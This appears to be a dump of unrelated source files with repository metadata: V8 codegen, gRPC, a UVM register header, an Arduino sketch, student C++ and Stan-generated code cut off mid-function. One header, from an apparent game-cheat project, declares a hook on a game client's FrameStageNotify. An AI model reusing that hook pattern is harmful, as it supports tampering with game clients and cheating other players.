codegen_->expected_safepoint_kind_ = Safepoint::kSimple;
}
private:
LCodeGen* codegen_;
};
friend class LDeferredCode;
friend class LEnvironment;
friend class SafepointGenerator;
DISALLOW_COPY_AND_ASSIGN(LCodeGen);
};
class LDeferredCode : public ZoneObject {
public:
explicit LDeferredCode(LCodeGen* codegen)
: codegen_(codegen),
external_exit_(NULL),
instruction_index_(codegen->current_instruction_) {
codegen->AddDeferredCode(this);
}
virtual ~LDeferredCode() {}
virtual void Generate() = 0;
virtual LInstruction* instr() = 0;
void SetExit(Label* exit) { external_exit_ = exit; }
Label* entry() { return &entry_; }
Label* exit() { return external_exit_ != NULL ? external_exit_ : &exit_; }
int instruction_index() const { return instruction_index_; }
protected:
LCodeGen* codegen() const { return codegen_; }
MacroAssembler* masm() const { return codegen_->masm(); }
private:
LCodeGen* codegen_;
Label entry_;
Label exit_;
Label* external_exit_;
int instruction_index_;
};
} } // namespace v8::internal
#endif // V8_MIPS_LITHIUM_CODEGEN_MIPS_H_
|
[
"mail@samcaldwell.net"
] |
mail@samcaldwell.net
|
eb49857ca23cc9df5ae59947ee66f2199f55cc2f
|
904497b803fa3313d69a90be91d5ee51797bbc3d
|
/StrictlyCode_HVH/StrictlyCode/FSN.h
|
d6f3f339a3c53cc9147b932b7dcfd86f71742662
|
[] |
no_license
|
Shaxzy/strictlycode
|
f6bcf42505606e422eb88c371060933805bfe2be
|
c7aca1eeaec56b127303d27b1be34d0f2b3a566d
|
refs/heads/master
| 2020-03-18T01:34:17.800323
| 2018-05-19T13:58:32
| 2018-05-19T13:58:32
| 134,148,244
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 421
|
h
|
#pragma once
#include <vector>
#include <cmath>
#include "SqchSDK\Interfaces.h"
#include "EntityStructs.h"
#include "Utilities.h"
#include "OptionsManager.h"
namespace FSN
{
typedef void(__thiscall* FrameStageNotify_t)(void*, NSDK::ClientFrameStage_t);
extern FrameStageNotify_t g_fnOriginalFrameStageNotify;
VOID __fastcall Hooked_FrameStageNotify(void* thisptr, void* edx, NSDK::ClientFrameStage_t cur_stage);
}
|
[
"nullflex@gmail.com"
] |
nullflex@gmail.com
|
c9d3abe2d607063da35c388dfbaa1beba93f054a
|
67b9a956151e54aba0fb06c037c9e5fb02be8149
|
/Pratica02/Praticass/pratica1/pratica01.cpp
|
a2ebe9818a259eee6cac9b41d14e1766e74fd70c
|
[] |
no_license
|
vinny-vin/Algoritimo-e-Estrutura-de-Dados
|
2d5c4145482d1cfbc4079338e0e6727c8c0965a0
|
d4b24e4d1a30bbb6e5ab204457dca2cd99346a09
|
refs/heads/master
| 2021-02-05T11:31:40.312040
| 2020-03-14T14:34:11
| 2020-03-14T14:34:11
| 243,775,310
| 0
| 0
| null | null | null | null |
ISO-8859-1
|
C++
| false
| false
| 1,168
|
cpp
|
/*
* pratica01.cpp
*
* Created on: 20 de fev de 2020
* Author: ALUNO
*/
#include <iostream>
#include "Veiculo.h"
using namespace std;
//class Veiculo{
//
//
// private:
// string nome;
// int Num_Rodas;
//
// public:
// Veiculo( const char * param){
// this-> nome = string(param);
// cout << "O objeto " + nome + " foi criado " << endl;
// }
// ~Veiculo(){
// cout << "O objeto " + nome + " foi destruido "<< endl;
// }
//
// void setNum_Rodas(int Num_Rodas);
// int getNum_Rodas();
//};
// void Veiculo::setNum_Rodas(int teste){
// this->Num_Rodas = teste;
// };
//
// int Veiculo::getNum_Rodas(){
// return this->Num_Rodas;
// };
int main(){
cout << "Primeira aplicação em C++" << endl;
/*Veiculo veiculo1("v1");
{
Veiculo veiculo2("v2");
{
Veiculo veiculo3("v3");
}
}
*/
Veiculo * objt1 = new Veiculo("VEICULO 1");
Veiculo * objt2 = new Veiculo("VEICULO 2");
Veiculo * objt3 = new Veiculo("VEICULO 3");
objt1->setNum_Rodas(8);
objt1->setNum_Rodas(8);
cout << objt1->getNum_Rodas() << endl;
delete objt1;
delete objt2;
delete objt3;
}
|
[
"noreply@github.com"
] |
vinny-vin.noreply@github.com
|
311b2cbbfcb6ab093ba260a5e7b02f59fde32f5a
|
c4bcf7e47f9bc6d667a2cc8a49796ab9df689e43
|
/libpigpiodpp/test/pibipprovidertests.cpp
|
5a4b3129e7cbd50af162ab8cc836d3ea444b5cb3
|
[
"MIT"
] |
permissive
|
freesurfer-rge/linesidecabinet
|
027d3892c7674e31d57f8b77b917f68df06673c8
|
8944c67fa7d340aa792e3a6e681113a4676bfbad
|
refs/heads/master
| 2021-12-11T19:26:56.480086
| 2021-12-04T14:39:04
| 2021-12-04T14:39:04
| 222,253,556
| 0
| 0
|
MIT
| 2021-12-04T14:39:04
| 2019-11-17T13:38:39
|
C++
|
UTF-8
|
C++
| false
| false
| 677
|
cpp
|
#include <boost/test/unit_test.hpp>
#include "pigpiodpp/pimanager.hpp"
#include "pigpiodpp/gpiopin.hpp"
#include "pigpiodpp/pibipprovider.hpp"
#include "pigpiodpp/pinassignedexception.hpp"
BOOST_AUTO_TEST_SUITE( PiBIPProvider )
BOOST_AUTO_TEST_CASE( Smoke )
{
auto pm = PiGPIOdpp::PiManager::CreatePiManager();
PiGPIOdpp::PiBIPProvider pbp(pm);
std::string deviceId = "11";
Tendril::SettingsMap settings;
settings["pud"] = "Down";
settings["glitch"] = "100000";
auto res = pbp.GetHardware(deviceId, settings);
BOOST_REQUIRE( res );
auto gpiopin = dynamic_cast<PiGPIOdpp::GPIOPin*>(res.get());
BOOST_REQUIRE( gpiopin );
}
BOOST_AUTO_TEST_SUITE_END()
|
[
"noreply@github.com"
] |
freesurfer-rge.noreply@github.com
|
2b2bd10a733fb3bcef0f32a33a6402fb0b61bced
|
900698c3ef685b07fab37b8ff15302ac3136c59b
|
/Draw/figure.hpp
|
e8d38ccb466326ec0646ddc79d5beef9c4b11f5b
|
[] |
no_license
|
danielfrei/Draw
|
499d41f5535e67ceeaa897ed06caa98ecea82160
|
7f27473a116a2d50944b4a14f16ba27441357b56
|
refs/heads/master
| 2016-08-11T13:46:10.505409
| 2016-03-15T21:55:43
| 2016-03-15T21:55:43
| 53,869,456
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,791
|
hpp
|
#ifndef FIGURE_H
#define FIGURE_H
/*****************************************************************************/
/* Header : Figur Class Version 1.0 */
/*****************************************************************************/
/* */
/* Function : This class describes a line for a drawing program */
/* */
/* */
/* Methodes : */
/* */
/* */
/* */
/* Author : */
/* */
/* History : */
/* */
/* File : */
/* */
/*****************************************************************************/
#include <fstream>
class Figure
{
// Data
protected:
int X1;
int Y1;
// Methods
public:
Figure(int x1_new, int y1_new); //Konstruktor
virtual ~Figure(); //Destruktor
virtual void print();
Figure (const Figure &obj); //CopyConstructor
virtual load(std::istream &InputStream) = 0;
virtual save(std::ostream &OutputStream) = 0;
};
#endif // FIGURE_H
|
[
"daniel.frei@students.bfh.ch"
] |
daniel.frei@students.bfh.ch
|
f896405e0d9ad2d0fb2c59671908894a21ab4a49
|
f5e4fe54a2b60efa09f25cab6e2943e9cd42968c
|
/uvm-ieee/include/pureC/snps_reg_rw_api.h
|
4920196050a8f06962b073bfc77c1f0a00941d41
|
[
"MIT",
"Apache-2.0"
] |
permissive
|
kevinku0101/uvm_ref
|
9319d7bf09467ba137c8401cd67b82b6962b8836
|
2ff0e0eabc5f97525cbdcf00af6f96d9acd92656
|
refs/heads/master
| 2020-06-28T08:39:33.788263
| 2019-08-02T07:48:02
| 2019-08-02T07:48:02
| 200,189,808
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 11,611
|
h
|
//-------------------------------------------------------------
// Copyright 2011 Synopsys, Inc.
// All Rights Reserved Worldwide
//
// SYNOPSYS CONFIDENTIAL - This is an unpublished, proprietary work of
// Synopsys, Inc., and is fully protected under copyright and trade
// secret laws. You may not view, use, disclose, copy, or distribute this
// file or any information contained herein except pursuant to a valid
// written license from Synopsys.
//
//-------------------------------------------------------------
#ifndef VGCOMMON_RVM_ROOT_SV_UVM_1_2_INCLUDE_PUREC_SNPS_REG_RW_API_H
#define VGCOMMON_RVM_ROOT_SV_UVM_1_2_INCLUDE_PUREC_SNPS_REG_RW_API_H
#include <stdio.h>
#include "uints.h"
namespace snps_reg
{
inline volatile uint8 regRead(volatile uint8 *addr)
{
#ifdef SNPS_REG_DEBUG
printf("Reading uint8 from 0x%08x...\n", addr);
#endif
#ifndef SNPS_REG_NOP
return *addr;
#endif
};
inline volatile uint16 regRead(volatile uint16 *addr)
{
#ifdef SNPS_REG_DEBUG
printf("Reading uint16 from 0x%08x...\n", addr);
#endif
#ifndef SNPS_REG_NOP
return *addr;
#endif
};
inline volatile uint32 regRead(volatile uint32 *addr)
{
#ifdef SNPS_REG_DEBUG
printf("Reading uint32 from 0x%08x...\n", addr);
#endif
#ifndef SNPS_REG_NOP
return *addr;
#endif
};
inline void regWrite(volatile uint8 *addr, uint8 val)
{
#ifdef SNPS_REG_DEBUG
printf("Writing uint8 0x%08x to 0x%08x...\n", val, addr);
#endif
#ifndef SNPS_REG_NOP
(*addr) = val;
#endif
};
inline void regWrite(volatile uint16 *addr, uint16 val)
{
#ifdef SNPS_REG_DEBUG
printf("Writing uint16 0x%08x to 0x%08x...\n", val, addr);
#endif
#ifndef SNPS_REG_NOP
(*addr) = val;
#endif
};
inline void regWrite(volatile uint32 *addr, uint32 val)
{
#ifdef SNPS_REG_DEBUG
printf("Writing uint32 0x%08x to 0x%08x...\n", val, addr);
#endif
#ifndef SNPS_REG_NOP
(*addr) = val;
#endif
};
//
// The following are basic list implementations for registering block and register
//
#ifdef SNPS_REG_ENABLE_REG_ITER
template <class T>
class Node {
private:
public:
T _data;
Node<T> * _next;
Node<T>(const T& data) : _data(data), _next(0x0) {}
};
template <class T>
class List {
private:
Node <T> * _head;
Node <T> * _current;
int _count;
public:
List<T>() : _head(0x0), _current(0x0), _count(0) {}
void insert(T data) {
Node<T> * newNode = new Node<T>(data);
if (_head == NULL) {
_head = newNode;
_current = newNode;
} else {
_current->_next = newNode;
_current = newNode;
}
_count++;
}
int getListData(T** data) {
int index = 0;
*data = (T *)malloc(_count*sizeof(T));
Node<T> *temp = _head;
while (temp) {
(*data)[index++] = temp->_data;
temp = temp->_next;
}
return _count;
}
};
#endif
typedef volatile unsigned int * reg_addr;
//
// The following are implementation-specific and should not be used
// directly in user code.
//
class regmodel {
public:
regmodel(regmodel *parent,
const char* const name,
size_t baseAddr)
: m_baseAddr(baseAddr)
{}
regmodel(int ctxt)
: m_baseAddr(0)
{}
#ifdef SNPS_REG_ENABLE_REG_ITER
int getRegisters(reg_addr **regs, int hier = 1) {
int count = m_registers.getListData(regs);
if (hier) {
snps_reg::regmodel** blks;
int comp_count = m_blocks.getListData(&blks);
for (int i = 0; i < comp_count; i++) {
snps_reg::reg_addr *comp_regs;
int reg_count = blks[i]->getRegisters(&comp_regs);
*regs = (snps_reg::reg_addr *) realloc(*regs, sizeof(snps_reg::reg_addr)*(reg_count+count));
for (int j = 0; j < reg_count; j++) {
(*regs)[j+count] = comp_regs[j];
}
free(comp_regs);
count = count + reg_count;
}
free(blks);
}
return count;
}
#endif
protected:
const size_t m_baseAddr;
#ifdef SNPS_REG_ENABLE_REG_ITER
List<reg_addr> m_registers;
List<snps_reg::regmodel *> m_blocks;
#endif
};
};
#ifdef SNPS_REG_ENABLE_REG_ITER
#define SNPS_REG_ADD_BLK_TO_LIST(_name) m_blocks.insert(& _name);
#define SNPS_REG_ADD_BLK_ARRAY_TO_LIST(_name, _size) \
for (int idx = 0; idx <_size; idx++) \
m_blocks.insert(&_name[idx]);
#endif
#define SNPS_REG_INIT_REG_ARRAY(_name, _index, _start_index)
#define SNPS_REG_ADDROF_REG_ARRAY(_type, _name, _size, _start_index, _offset, _incr) \
public: \
inline volatile _type *_name(int index) \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset + _incr * (index - _start_index)); \
}
#define SNPS_REG_INIT_2D_REG_ARRAY(_name, _index1, _index2, _start_index1, _start_index2)
#define SNPS_REG_ADDROF_2D_REG_ARRAY(_type, _name, _size1, _size2, _start_index1, _start_index2, _offset, _incr1, _incr2) \
private: \
public: \
inline volatile _type *_name(int index1, int index2) \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset + _incr1 * (index1-_start_index1) +_incr2 * (index2-_start_index2)); \
}
#define SNPS_REG_INIT_3D_REG_ARRAY(_name, _index1, _index2, _index3, _start_index1, _start_index2, _start_index3)
#define SNPS_REG_ADDROF_3D_REG_ARRAY(_type, _name, _size1, _size2, _size3, _start_index1, _start_index2, _start_index3, _offset, _incr1, _incr2, _incr3) \
private: \
public: \
inline volatile _type *_name(int index1, int index2, int index3) \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset + _incr1 * (index1-_start_index1) +_incr2 * (index2-_start_index2) +_incr3 * (index3-_start_index3)); \
}
#define SNPS_REG_INIT_REG_ARRAY_FLD(_rg, _name, _index, _start_index)
#define SNPS_REG_ADDROF_REG_ARRAY_FLD(_type, _reg, _size, _start_index, _name, _offset, _incr) \
public: \
inline volatile _type *_reg##_##_name(int index) \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset + _incr * (index-_start_index)); \
}
#define SNPS_REG_INIT_2D_REG_ARRAY_FLD(_rg, _name, _index1, _index2, _start_index1, _start_index2)
#define SNPS_REG_ADDROF_2D_REG_ARRAY_FLD(_type, _reg, _size1, _size2, _start_index1, _start_index2, _name, _offset, _incr1, _incr2) \
public: \
inline volatile _type *_reg##_##_name(int index1, int index2) \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset + _incr1 * (index1 - _start_index1) + _incr2 * (index2 - _start_index2)); \
}
#define SNPS_REG_INIT_3D_REG_ARRAY_FLD(_rg, _name, _index1, _index2, _index3, _start_index1, _start_index2, _start_index3)
#define SNPS_REG_ADDROF_3D_REG_ARRAY_FLD(_type, _reg, _size1, _size2, _size3, _start_index1, _start_index2, _start_index3, _name, _offset, _incr1, _incr2, _incr3) \
private: \
public: \
inline volatile _type *_reg##_##_name(int index1, int index2, int index3) \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset + _incr1 * (index1 - _start_index1) + _incr2 * (index2 - _start_index2) + _incr3* (index3 - _start_index3)); \
}
#define SNPS_REG_INIT_REG(_name) __##_name##_id__(0)
#define SNPS_REG_ADDROF_REG(_type, _name, _offset) \
private: \
uint32 __##_name##_id__; \
public: \
inline volatile _type *_name() \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset); \
}
#define SNPS_REG_ADD_REG_TO_LIST(_name) m_registers.insert((snps_reg::reg_addr)_name());
#define SNPS_REG_ADD_REG_ARRAY_TO_LIST(_name, lsb1, msb1) \
for (int index = lsb1; index <= msb1; index++) { \
m_registers.insert((snps_reg::reg_addr)_name(index)); \
}
#define SNPS_REG_ADD_2D_REG_ARRAY_TO_LIST(_name, lsb1, msb1, lsb2, msb2) \
for (int index1 = lsb1; index1 <= msb1; index1++) { \
for (int index2 = lsb2; index2 <= msb2; index2++) { \
m_registers.insert((snps_reg::reg_addr)_name(index1,index2)); \
} \
}
#define SNPS_REG_ADD_3D_REG_ARRAY_TO_LIST(_name, lsb1, msb1, lsb2, msb2, lsb3, msb3) \
for (int index1 = lsb1; index1 <= msb1; index1++) { \
for (int index2 = lsb2; index2 <= msb2; index2++) { \
for (int index3 = lsb3; index3 <= msb3; index3++) { \
m_registers.insert((snps_reg::reg_addr)_name(index1,index2,index3)); \
} \
} \
}
#define SNPS_REG_INIT_FLD(_rg, _name) __##_rg##_##_name##_id__(0)
#define SNPS_REG_ADDROF_FLD(_type, _reg, _name, _offset) \
private: \
long __##_reg##_##_name##_id__; \
public: \
inline volatile _type *_reg##_##_name() \
{ \
return reinterpret_cast<volatile _type*>(m_baseAddr + _offset); \
}
#endif
|
[
"kulun@megvii.com"
] |
kulun@megvii.com
|
91f023c0599a588d8b5abcc6646708ab353332da
|
0d4bf317ccbda693f06407d8ce8e596da8dbdf43
|
/Arduino/UNI2_Prog_7_semaforo/UNI2_Prog_7_semaforo.ino
|
c97c92efc6e7d87c0056d776e0f6c61ed8fe14e7
|
[] |
no_license
|
ESTUNSC/SE-Unidad2
|
b8dc48fe6cccfc76ea5221270c4dc21a965b2a42
|
8747590c190fe14258a2766ecad6355cb609ef9d
|
refs/heads/main
| 2023-09-04T22:03:25.885677
| 2021-11-19T16:46:50
| 2021-11-19T16:46:50
| 429,866,196
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 842
|
ino
|
int swGreen = 14;
int swYellow = 15;
int swRed = 16;
int ledGreen = 11;
int ledYellow = 12;
int ledRed = 13;
void setup() {
pinMode(swGreen, INPUT_PULLUP);
pinMode(swYellow, INPUT_PULLUP);
pinMode(swRed, INPUT_PULLUP);
pinMode(ledGreen, OUTPUT);
pinMode(ledYellow, OUTPUT);
pinMode(ledRed, OUTPUT);
Serial.begin(9600);
}
bool vG, vY, vR;
void loop() {
vG = digitalRead(swGreen); // [0 - 1]
vY = digitalRead(swYellow); // [0 - 1]
vR = digitalRead(swRed); // [0 - 1]
vG = !vG;
vY = !vY;
vR = !vR;
Serial.println(String(vG) + " " + String(vY) + " " + String(vR));
digitalWrite(ledGreen,vG);
digitalWrite(ledYellow,vY);
digitalWrite(ledRed,vR);
delay(250);
}
//Tarea (Programa).- Simulación de la Compuerta XOR con entrada de datos por "switch" y representación
//del resultado en un LED
|
[
"89536968+ESTUNSC@users.noreply.github.com"
] |
89536968+ESTUNSC@users.noreply.github.com
|
848c4f3e52c402488d7177e8bad08053dd2d7b0f
|
0744dcc5394cebf57ebcba343747af6871b67017
|
/external/grpc/src/core/lib/gpr/log_posix.cc
|
6f93cdefcdff8cd254b9fe8c5226365fc6eadba0
|
[
"Apache-2.0",
"MIT"
] |
permissive
|
Samsung/TizenRT
|
96abf62f1853f61fcf91ff14671a5e0c6ca48fdb
|
1a5c2e00a4b1bbf4c505bbf5cc6a8259e926f686
|
refs/heads/master
| 2023-08-31T08:59:33.327998
| 2023-08-08T06:09:20
| 2023-08-31T04:38:20
| 82,517,252
| 590
| 719
|
Apache-2.0
| 2023-09-14T06:54:49
| 2017-02-20T04:38:30
|
C
|
UTF-8
|
C++
| false
| false
| 2,561
|
cc
|
/*
*
* Copyright 2015 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <grpc/support/port_platform.h>
#ifdef GPR_POSIX_LOG
#include <grpc/support/alloc.h>
#include <grpc/support/log.h>
#include <grpc/support/string_util.h>
#include <grpc/support/time.h>
#include <pthread.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
static intptr_t gettid(void) { return (intptr_t)pthread_self(); }
void gpr_log(const char* file, int line, gpr_log_severity severity,
const char* format, ...) {
char buf[64];
char* allocated = nullptr;
char* message = nullptr;
int ret;
va_list args;
va_start(args, format);
ret = vsnprintf(buf, sizeof(buf), format, args);
va_end(args);
if (ret < 0) {
message = nullptr;
} else if ((size_t)ret <= sizeof(buf) - 1) {
message = buf;
} else {
message = allocated = (char*)gpr_malloc((size_t)ret + 1);
va_start(args, format);
vsnprintf(message, (size_t)(ret + 1), format, args);
va_end(args);
}
gpr_log_message(file, line, severity, message);
gpr_free(allocated);
}
void gpr_default_log(gpr_log_func_args* args) {
const char* final_slash;
const char* display_file;
char time_buffer[64];
time_t timer;
gpr_timespec now = gpr_now(GPR_CLOCK_REALTIME);
struct tm tm;
timer = (time_t)now.tv_sec;
final_slash = strrchr(args->file, '/');
if (final_slash == nullptr)
display_file = args->file;
else
display_file = final_slash + 1;
if (!localtime_r(&timer, &tm)) {
strcpy(time_buffer, "error:localtime");
} else if (0 ==
strftime(time_buffer, sizeof(time_buffer), "%m%d %H:%M:%S", &tm)) {
strcpy(time_buffer, "error:strftime");
}
char* prefix;
gpr_asprintf(&prefix, "%s%s.%09d %7tu %s:%d]",
gpr_log_severity_string(args->severity), time_buffer,
(int)(now.tv_nsec), gettid(), display_file, args->line);
fprintf(stderr, "%-70s %s\n", prefix, args->message);
gpr_free(prefix);
}
#endif /* defined(GPR_POSIX_LOG) */
|
[
"daesung87.an@samsung.com"
] |
daesung87.an@samsung.com
|
88ee85f2e17d58cf0c4e7d1cc2c148da840877f9
|
2bec5a52ce1fb3266e72f8fbeb5226b025584a16
|
/psrwe/src/stan_files/powerpsbinary.hpp
|
a13869bbeed0315d980e9275ec2dcc6016f28938
|
[] |
no_license
|
akhikolla/InformationHouse
|
4e45b11df18dee47519e917fcf0a869a77661fce
|
c0daab1e3f2827fd08aa5c31127fadae3f001948
|
refs/heads/master
| 2023-02-12T19:00:20.752555
| 2020-12-31T20:59:23
| 2020-12-31T20:59:23
| 325,589,503
| 9
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 34,690
|
hpp
|
/*
Test is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Test is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Test. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef MODELS_HPP
#define MODELS_HPP
#define STAN__SERVICES__COMMAND_HPP
#include <rstan/rstaninc.hpp>
// Code generated by Stan version 2.21.0
#include <stan/model/model_header.hpp>
namespace model_powerpsbinary_namespace {
using std::istream;
using std::string;
using std::stringstream;
using std::vector;
using stan::io::dump;
using stan::math::lgamma;
using stan::model::prob_grad;
using namespace stan::math;
static int current_statement_begin__;
stan::io::program_reader prog_reader__() {
stan::io::program_reader reader;
reader.add_event(0, 0, "start", "model_powerpsbinary");
reader.add_event(76, 74, "end", "model_powerpsbinary");
return reader;
}
class model_powerpsbinary
: public stan::model::model_base_crtp<model_powerpsbinary> {
private:
int S;
std::vector<int> N0;
std::vector<double> YBAR0;
std::vector<int> N1;
std::vector<int> YSUM1;
vector_d RS;
int FIXVS;
double A;
row_vector_d WS1;
int sn1;
public:
model_powerpsbinary(stan::io::var_context& context__,
std::ostream* pstream__ = 0)
: model_base_crtp(0) {
ctor_body(context__, 0, pstream__);
}
model_powerpsbinary(stan::io::var_context& context__,
unsigned int random_seed__,
std::ostream* pstream__ = 0)
: model_base_crtp(0) {
ctor_body(context__, random_seed__, pstream__);
}
void ctor_body(stan::io::var_context& context__,
unsigned int random_seed__,
std::ostream* pstream__) {
typedef double local_scalar_t__;
boost::ecuyer1988 base_rng__ =
stan::services::util::create_rng(random_seed__, 0);
(void) base_rng__; // suppress unused var warning
current_statement_begin__ = -1;
static const char* function__ = "model_powerpsbinary_namespace::model_powerpsbinary";
(void) function__; // dummy to suppress unused var warning
size_t pos__;
(void) pos__; // dummy to suppress unused var warning
std::vector<int> vals_i__;
std::vector<double> vals_r__;
local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN());
(void) DUMMY_VAR__; // suppress unused var warning
try {
// initialize data block variables from context__
current_statement_begin__ = 6;
context__.validate_dims("data initialization", "S", "int", context__.to_vec());
S = int(0);
vals_i__ = context__.vals_i("S");
pos__ = 0;
S = vals_i__[pos__++];
check_greater_or_equal(function__, "S", S, 2);
current_statement_begin__ = 9;
validate_non_negative_index("N0", "S", S);
context__.validate_dims("data initialization", "N0", "int", context__.to_vec(S));
N0 = std::vector<int>(S, int(0));
vals_i__ = context__.vals_i("N0");
pos__ = 0;
size_t N0_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < N0_k_0_max__; ++k_0__) {
N0[k_0__] = vals_i__[pos__++];
}
size_t N0_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < N0_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "N0[i_0__]", N0[i_0__], 1);
}
current_statement_begin__ = 10;
validate_non_negative_index("YBAR0", "S", S);
context__.validate_dims("data initialization", "YBAR0", "double", context__.to_vec(S));
YBAR0 = std::vector<double>(S, double(0));
vals_r__ = context__.vals_r("YBAR0");
pos__ = 0;
size_t YBAR0_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < YBAR0_k_0_max__; ++k_0__) {
YBAR0[k_0__] = vals_r__[pos__++];
}
size_t YBAR0_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < YBAR0_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "YBAR0[i_0__]", YBAR0[i_0__], 0);
check_less_or_equal(function__, "YBAR0[i_0__]", YBAR0[i_0__], 1);
}
current_statement_begin__ = 13;
validate_non_negative_index("N1", "S", S);
context__.validate_dims("data initialization", "N1", "int", context__.to_vec(S));
N1 = std::vector<int>(S, int(0));
vals_i__ = context__.vals_i("N1");
pos__ = 0;
size_t N1_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < N1_k_0_max__; ++k_0__) {
N1[k_0__] = vals_i__[pos__++];
}
size_t N1_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < N1_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "N1[i_0__]", N1[i_0__], 1);
}
current_statement_begin__ = 14;
validate_non_negative_index("YSUM1", "S", S);
context__.validate_dims("data initialization", "YSUM1", "int", context__.to_vec(S));
YSUM1 = std::vector<int>(S, int(0));
vals_i__ = context__.vals_i("YSUM1");
pos__ = 0;
size_t YSUM1_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < YSUM1_k_0_max__; ++k_0__) {
YSUM1[k_0__] = vals_i__[pos__++];
}
size_t YSUM1_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < YSUM1_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "YSUM1[i_0__]", YSUM1[i_0__], 0);
}
current_statement_begin__ = 17;
validate_non_negative_index("RS", "S", S);
context__.validate_dims("data initialization", "RS", "vector_d", context__.to_vec(S));
RS = Eigen::Matrix<double, Eigen::Dynamic, 1>(S);
vals_r__ = context__.vals_r("RS");
pos__ = 0;
size_t RS_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < RS_j_1_max__; ++j_1__) {
RS(j_1__) = vals_r__[pos__++];
}
check_greater_or_equal(function__, "RS", RS, 0);
current_statement_begin__ = 20;
context__.validate_dims("data initialization", "FIXVS", "int", context__.to_vec());
FIXVS = int(0);
vals_i__ = context__.vals_i("FIXVS");
pos__ = 0;
FIXVS = vals_i__[pos__++];
check_greater_or_equal(function__, "FIXVS", FIXVS, 0);
check_less_or_equal(function__, "FIXVS", FIXVS, 1);
current_statement_begin__ = 23;
context__.validate_dims("data initialization", "A", "double", context__.to_vec());
A = double(0);
vals_r__ = context__.vals_r("A");
pos__ = 0;
A = vals_r__[pos__++];
check_greater_or_equal(function__, "A", A, 0);
// initialize transformed data variables
current_statement_begin__ = 27;
validate_non_negative_index("WS1", "S", S);
WS1 = Eigen::Matrix<double, 1, Eigen::Dynamic>(S);
stan::math::fill(WS1, DUMMY_VAR__);
current_statement_begin__ = 28;
sn1 = int(0);
stan::math::fill(sn1, std::numeric_limits<int>::min());
// execute transformed data statements
current_statement_begin__ = 30;
stan::math::assign(sn1, sum(N1));
current_statement_begin__ = 31;
for (int i = 1; i <= S; ++i) {
current_statement_begin__ = 32;
stan::model::assign(WS1,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
get_base1(N1, i, "N1", 1),
"assigning variable WS1");
current_statement_begin__ = 33;
stan::model::assign(WS1,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(get_base1(WS1, i, "WS1", 1) / sn1),
"assigning variable WS1");
}
// validate transformed data
current_statement_begin__ = 27;
check_greater_or_equal(function__, "WS1", WS1, 0);
check_less_or_equal(function__, "WS1", WS1, 1);
current_statement_begin__ = 28;
check_greater_or_equal(function__, "sn1", sn1, 0);
// validate, set parameter ranges
num_params_r__ = 0U;
param_ranges_i__.clear();
current_statement_begin__ = 38;
validate_non_negative_index("vs", "S", S);
num_params_r__ += (S - 1);
current_statement_begin__ = 39;
validate_non_negative_index("thetas", "S", S);
num_params_r__ += S;
} catch (const std::exception& e) {
stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__());
// Next line prevents compiler griping about no return
throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***");
}
}
~model_powerpsbinary() { }
void transform_inits(const stan::io::var_context& context__,
std::vector<int>& params_i__,
std::vector<double>& params_r__,
std::ostream* pstream__) const {
typedef double local_scalar_t__;
stan::io::writer<double> writer__(params_r__, params_i__);
size_t pos__;
(void) pos__; // dummy call to supress warning
std::vector<double> vals_r__;
std::vector<int> vals_i__;
current_statement_begin__ = 38;
if (!(context__.contains_r("vs")))
stan::lang::rethrow_located(std::runtime_error(std::string("Variable vs missing")), current_statement_begin__, prog_reader__());
vals_r__ = context__.vals_r("vs");
pos__ = 0U;
validate_non_negative_index("vs", "S", S);
context__.validate_dims("parameter initialization", "vs", "vector_d", context__.to_vec(S));
Eigen::Matrix<double, Eigen::Dynamic, 1> vs(S);
size_t vs_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < vs_j_1_max__; ++j_1__) {
vs(j_1__) = vals_r__[pos__++];
}
try {
writer__.simplex_unconstrain(vs);
} catch (const std::exception& e) {
stan::lang::rethrow_located(std::runtime_error(std::string("Error transforming variable vs: ") + e.what()), current_statement_begin__, prog_reader__());
